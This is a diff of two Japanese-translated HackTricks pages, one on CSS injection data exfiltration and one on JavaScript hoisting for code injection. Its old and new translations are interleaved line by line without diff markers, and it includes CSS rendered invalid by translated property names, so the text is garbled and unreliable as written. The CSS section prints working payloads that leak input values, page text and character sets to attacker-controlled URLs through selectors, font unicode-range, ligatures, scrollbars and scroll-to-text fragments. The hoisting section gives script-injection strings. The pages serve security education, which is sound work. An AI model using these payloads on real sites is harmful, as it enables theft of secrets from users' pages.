input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -103,29 +108,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
これにより、スクリプトが秘密をより速く漏洩させることができます。
これはスクリプトが秘密をより早く漏らすことを可能にします。
{% endhint %}
{% hint style="warning" %}
時々、スクリプトは**発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しない**場合があり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。\
心配いりません、単に**出力を確認**すれば、**そこにフラグが表示されます**。
時々、スクリプトは**接頭辞 + 接尾辞がすでに完全なフラグであることを正しく検出しない**ことがあり、接頭辞の方向に進み、接尾辞の方向に戻り、ある時点でハングします。\
心配しないでください、**出力**を確認すれば、**そこにフラグを見ることができます**。
{% endhint %}
### その他のセレクタ
**CSSセレクタ**を使用してDOMの部分にアクセスする他の方法
* **`.class-to-search:nth-child(2)`**: これはDOM内のクラスが"class-to-search"である2番目のアイテムを検索します。
* **`:empty`**セレクタ:例として、[**この解説**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**で使用されています**
* **`.class-to-search:nth-child(2)`**: これはDOM内のクラス「class-to-search」を持つ2番目のアイテムを検索します。
* **`:empty`** セレクタ: 例えば、[**この解説**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**で使用されています**:
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### エラーベースのXS-Search
### エラーに基づくXS-Search
**参考:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**参考文献:** [CSSベースの攻撃: @font-faceのunicode-rangeを悪用する](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [@terjanqによるエラーに基づくXS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、**テキスト(この場合は 'A')がこのフォントで表示されるようにする**ことです。
全体意図は、**制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、このフォントでテキストこの場合は「A」が表示されることを保証する**ことです。
```html
<!DOCTYPE html>
<html>
@ -150,45 +156,45 @@ font-family: 'poc';
</html>
```
1. **カスタムフォントの使用**:
- カスタムフォントは、`<head>`セクション内の`<style>``@font-face`使
- フォントの名前は`poc`であり、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
- `unicode-range`プロパティは、特定のUnicode文字 'A' をターゲットとする`U+0041`に設定されています。
- カスタムフォントは、`<head>`セクション内の`<style>`使`@font-face`
- フォントは`poc`と名付けられ、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
- `unicode-range`プロパティは`U+0041`に設定され、特定のUnicode文字'A'をターゲットにします。
2. **フォールバックテキストを持つオブジェクト要素**:
- `<body>`セクションに`id="poc0"`を持つ`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
- `<body>`セクションに`id="poc0"``<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
- この要素の`font-family`は、`<style>``'poc'`
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
- 外部リソースが読み込ない場合、フォールバックコンテンツ('A')はカスタムフォント`poc`を使用してレンダリングされます。
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字'A')が表示されます。
- 外部リソースが読み込まれない場合、フォールバックコンテンツ('A')はカスタムフォント`poc`を使用してレンダリングされます。
### スクロールしてテキストフラグメントをスタイリングする
### スクロールテキストフラグメントのスタイリング
**`:target`**疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲットされた要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません
**`:target`**擬似クラスは、**URLフラグメント**によってターゲットにされた要素を選択するために使用されます。これは[CSSセレクターレベル4仕様](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されています。`::target-text`は、テキストがフラグメントによって明示的にターゲットにされない限り、要素に一致しないことを理解することが重要です
攻撃者が**スクロールしてテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認することができるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることによって行われます:
攻撃者が**スクロールテキスト**フラグメント機能を悪用することで、特定のテキストがウェブページに存在することを確認できるというセキュリティ上の懸念が生じます。これは、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことによって実現されます。この方法は、次のようなCSSルールを注入することを含みます:
```css
:target::before { content : url(target.png) }
```
以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース `target.png` がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSと一緒にスクロールテキストフラグメントを埋め込んだ特別に作成されたURLを介して実行できます:
このようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース `target.png` がサーバーからリクエストされ、テキストの存在が示されます。この攻撃の一例は、注入されたCSSをスクロールテキストフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
攻撃は、HTMLインジェクションを操作して、特定のテキスト「Administrator」をScroll-to-textフラグメント(`#:~:text=Administrator`)を介して狙い、CSSコードを送信します。テキストが見つかった場合、指定されたリソースが読み込まれ、攻撃者にその存在を誤って通知します。
ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をターゲットにしています。これはScroll-to-text fragment`#:~:text=Administrator`)を通じて行われます。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を無意識に知らせます。
緩和策として、以下の点に注意する必要があります:
1. **制約されたSTTFマッチング**Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
2. **トップレベルブラウジングコンテキストへの制限**STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーにより目立つようになります。
3. **ユーザーアクティベーションの必要性**STTFはユーザーアクティベーションのジェスチャーが必要であり、攻撃はユーザーによるナビゲーションを介してのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
1. **制約されたSTTFマッチング**: Scroll-to-text FragmentSTTFは、単語や文のみをマッチさせるように設計されており、任意の秘密やトークンを漏洩させる能力を制限しています。
2. **トップレベルブラウジングコンテキストへの制限**: STTFはトップレベルのブラウジングコンテキストでのみ機能し、iframe内では機能しないため、いかなる悪用の試みもユーザーにとってより目立つものになります。
3. **ユーザーのアクティベーションの必要性**: STTFは動作するためにユーザーのアクティベーションジェスチャーを必要とし、つまり悪用はユーザーが開始したナビゲーションを通じてのみ可能です。この要件は、ユーザーのインタラクションなしに攻撃が自動化されるリスクを大幅に軽減します。それにもかかわらず、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのインタラクション)を指摘しています。
これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対抗するための鍵となります。
これらのメカニズムと潜在的な脆弱性を認識することは、ウェブセキュリティを維持し、そのような悪用的戦術から守るための鍵です。
詳細については、元のレポートをご確認ください:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
詳細については、元のレポートを確認してください: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
このテクニックを使用したCTFの[**エクスプロイトはこちら**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)をご確認いただけます
この技術を使用した[**CTFのエクスプロイトはこちらで確認できます**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
特定のUnicode値に対して**外部フォントを指定**することができ、そのUnicode値がページに存在する場合のみ**収集されます**。例
特定のunicode値に対して**外部フォントを指定することができ**、そのunicode値がページに存在する場合にのみ**収集されます**。例えば
```html
<style>
@font-face{
@ -213,48 +219,50 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
### テキストードの情報漏洩Iリガチャ <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
**参考:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関わります。このプロセスにはいくつかのステップが含まれます:
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
この技術は、フォントのリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップで構成されています:
1. **カスタムフォントの作成**:
- SVGフォントは、`horiz-adv-x`属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。
- 例`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`というSVGグリフで、"XY"は2文字のシーケンスを示します。
- SVGフォントは、2文字のシーケンスを表すグリフに大きな幅を設定する`horiz-adv-x`属性を持つグリフで作成されます。
- 例 SVGグリフ: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`、ここで "XY" は2文字のシーケンスを示します。
- これらのフォントは、fontforgeを使用してwoff形式に変換されます。
2. **幅の変化の検出**:
- CSSを使用して、テキストが折り返されないようにする(`white-space: nowrap`)と、スクロールバースタイルをカスタマイズします。
- 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(つまり、特定の文字シーケンス)がテキストに存在することを示すオラクルとして機能します。
- 関連するCSS
- CSSを使用してテキストが折り返さないようにし(`white-space: nowrap`)、スクロールバーのスタイルをカスタマイズします。
- 明確にスタイルされた水平スクロールバーの出現は、特定のリガチャ、したがって特定の文字シーケンスがテキストに存在することを示す指標(オラクル)として機能します。
- 関連するCSS:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **悪用プロセス**:
- **ステップ1**: 幅の大きい文字のペア用のフォントが作成されます。
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出されるスクロールバーのトリックが使用され、文字シーケンスが存在することが示されます。
- **ステップ3**: リガチャが検出されると、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
3. **エクスプロイトプロセス**:
- **ステップ1**: 大きな幅を持つ文字のペア用にフォントが作成されます。
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされるときに検出するために、スクロールバーを利用したトリックが使用されます。
- **ステップ3**: リガチャを検出すると、検出されたペアを組み込み、前または後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
- **ステップ4**: 3文字のリガチャの検出が行われます。
- **ステップ5**: プロセスが繰り返され、徐々に全体のテキストが明らかになります。
- **ステップ5**: プロセスは繰り返され、テキスト全体が徐々に明らかになります。
4. **最適化**:
- 現在の`<meta refresh=...`を使用した初期化方法は最適ではありません。
- より効率的なアプローチは、CSSの`@import`トリックを使用して、悪用のパフォーマンスを向上させることができます。
- 現在の初期化方法である`<meta refresh=...`は最適ではありません。
- より効率的なアプローチは、CSS `@import`トリックを使用して、エクスプロイトのパフォーマンスを向上させることができます。
### テキストードの情報漏洩IIデフォルトフォントを使用して文字セットを漏洩する外部アセットを必要としない <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
このトリックはこの[**Slackersスレッド**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩できます:外部のカスタムフォントは必要ありません。
このトリックはこの[**Slackersスレッド**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩することができます:外部またはカスタムフォントは必要ありません。
このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつ「接尾辞」部分から「接頭辞」部分に移行させることで、テキストを2つのセクションに効果的に分割することに関わります:
この概念は、アニメーションを利用して`div`の幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに効果的に分割します:
1. **接頭辞**: 初期の行。
2. **接尾辞**: 後続の行。
1. **プレフィックス**: 初期行。
2. **サフィックス**: 次の行。
文字の遷移段階は次のように表示されます:
@ -269,9 +277,17 @@ B
**CADB**
この遷移中、**unicode-rangeトリック**が使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。
この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。
この遷移中に、**unicode-rangeトリック**が使用されて新しい文字がプレフィックスに加わるたびに識別されます。これは、デフォルトフォントよりも明らかに背が高いComic Sansフォントに切り替えることで達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。
この方法では、ユニークな文字が現れるときに検出できますが、どの文字が繰り返されているかは特定できず、繰り返しが発生したことだけがわかります。
{% hint style="info" %}
基本的に、**unicode-rangeは文字を検出するために使用されます**が、外部フォントを読み込むことは望ましくないため、別の方法を見つける必要があります。\
**文字**が**見つかった**とき、それは**事前にインストールされた**Comic Sansフォントが**与えられ**、文字が**大きくなり**、**スクロールバーがトリガーされ**、**見つかった文字が漏洩します**。
{% endhint %}
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -382,33 +398,31 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```markdown
```css
5% { 幅: 120px }
6% { 幅: 140px }
7% { 幅: 0px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
背景: 青色;
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
背景: 青色 var(--leak);
background: blue var(--leak);
}
```
### テキストノードの情報漏洩IIIデフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する外部アセットは不要 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### テキストノードの流出 (III): デフォルトフォントによる文字セットの漏洩(外部アセットを必要としない <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**参考:** これは[この書き込みの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
このケースは前のものと非常に似ていますが、この場合、特定の**文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンや読み込まれない画像などを非表示にする**ことです。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
このケースは前のケースと非常に似ていますが、今回は特定の**文字を他の文字より大きくする目的は、ボットに押されないボタンや読み込まれない画像のような何かを隠すことです**。したがって、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
### テキストノードの情報漏洩IIIキャッシュタイミングによる文字セットの漏洩外部アセットは不要 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### テキストノードの流出 (III): キャッシュタイミングによる文字セットの漏洩(外部アセットを必要としない <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**参考:** これは[この書き込みの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
この場合、同じオリジンから偽のフォントを読み込むことで、テキスト内に特定の文字が含まれているかどうかを漏洩しようとすることができます。
この場合、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます。
```css
@font-face {
font-family: "A1";
@ -416,15 +430,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。読み込みは成功しませんが、**ブラウザはそれをキャッシュ**し、キャッシュがなくても **304 not modified** のメカニズムがあるため、**他のものよりも応答が速くなるはず**です
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。成功裏に読み込まれることはありませんが、**ブラウザはそれをキャッシュするはずです**。キャッシュがなくても、**304 not modified** メカニズムがあるため、**レスポンスは他のものよりも速くなるはずです**
ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役に立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。
しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でない場合、これは役に立ちません。例えば、著者は次のように述べています:しかし、テストの結果、最初の問題は速度があまり変わらないことであり、二つ目の問題はボットが `disk-cache-size=1` フラグを使用していることで、これは本当に考慮されています。
### テキストノードの情報漏洩III: ローカルの「フォント」を数百個読み込むことによる文字セットの漏洩(外部アセットは不要 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### テキストノードの流出 (III): 数百のローカル「フォント」を読み込む時間によって文字セットを漏洩させる(外部アセットを必要としない <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参照:** これは [この解説記事での成功しなかった解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**参考:** これは [この書き込みの中での失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
この場合、一致が発生すると、**CSS で同じオリジンから数百の偽のフォントを読み込む**ように指定できます。この方法で、**かかる時間**を測定し、文字が表示されるかどうかを次のように確認できます:
この場合、一致が発生したときに**同じオリジンから数百の偽フォントを読み込むようにCSSを指定できます**。この方法で、**かかる時間を測定**し、文字が現れるかどうかを次のようなもので確認できます:
```css
@font-face {
font-family: "A1";
@ -435,12 +449,14 @@ url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
そして、ボットのコードは以下のようになります:
そして、ボットのコードはのようになります:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
そのため、フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークに継続的なアクティビティが発生します。その結果、停止条件を満たして応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。
## 参考文献
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
@ -454,16 +470,17 @@ time.sleep(30)
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# JS ホイスティング
# JS Hoisting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
JavaScript言語では、**ホイスティング**として知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に移動すると説明されています。このプロセスは、JavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。
JavaScript言語では、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられるメカニズムである**ホイスティング**が説明されています。このプロセスは、JavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。
最初のパス中、エンジンは構文エラーをチェックし、それを抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されます。構文解析フェーズが成功し、構文エラーがないことを示す場合、スクリプトの実行が続行されます。
最初のパスでは、エンジンはコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されます。解析フェーズが成功すると、構文エラーがないことを示し、スクリプトの実行が進行します。
以下の点を理解することが重要です:
理解することが重要です:
1. 実行が発生するにはスクリプトに構文エラーがない必要があります。構文ルールに厳密に従う必要があります
2. スクリプト内のコードの配置はホイスティングによって実行に影響を与えますが、実行されるコードはそのテキスト表現と異なる場合があります。
1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に遵守されなければなりません
2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現と異なる場合があります。
#### ホイスティングの種類
MDNからの情報に基づいて、JavaScriptには4つの異なるホイスティングの種類があります
MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります
1. **値のホイスティング**変数の値を宣言行の前でスコープ内で使用できるようにします。
2. **宣言のホイスティング**変数を宣言の前にスコープ内で参照できるようにし、`ReferenceError`を引き起こさずに、ただし変数の値は`undefined`になります。
3. このタイプは、変数の宣言が実際の宣言行の前にあるため、そのスコープ内での動作を変更します。
4. 宣言の副作用は、それを含むコードの残りが評価される前に発生します。
1. **値のホイスティング**宣言行の前にそのスコープ内で変数の値を使用できるようにします。
2. **宣言のホイスティング**:宣言の前にそのスコープ内で変数を参照できるようにしますが、変数の値は`undefined`になります。
3. このタイプは、実際の宣言行の前に変数が宣言されるため、そのスコープ内の動作を変更します。
4. 宣言の副作用は、それを含む他のコードが評価される前に発生します。
詳細については、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let`、`const`、`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`ステートメントは、タイプ1とタイプ4の動作の両方でホイストされます。
詳細には、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let`、`const`、および`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。
## シナリオ
したがって、**未宣言のオブジェクトの後にJSコードをインジェクト**できるシナリオがある場合、それを宣言して(エラーをスローする代わりにコードが実行されるように)**構文を修正**できます。
したがって、**未宣言のオブジェクト**が使用された後に**JSコードを注入できる**シナリオがある場合、宣言することで**構文を修正**できるため(エラーを投げるのではなく、あなたのコードが実行されるように):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -80,7 +81,7 @@ alert(1);
test.cookie('leo','INJECTION')
test['cookie','injection']
```
## より多くのシナリオ
## さらなるシナリオ
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -140,16 +141,17 @@ let config;`-alert(1)-`//`+""
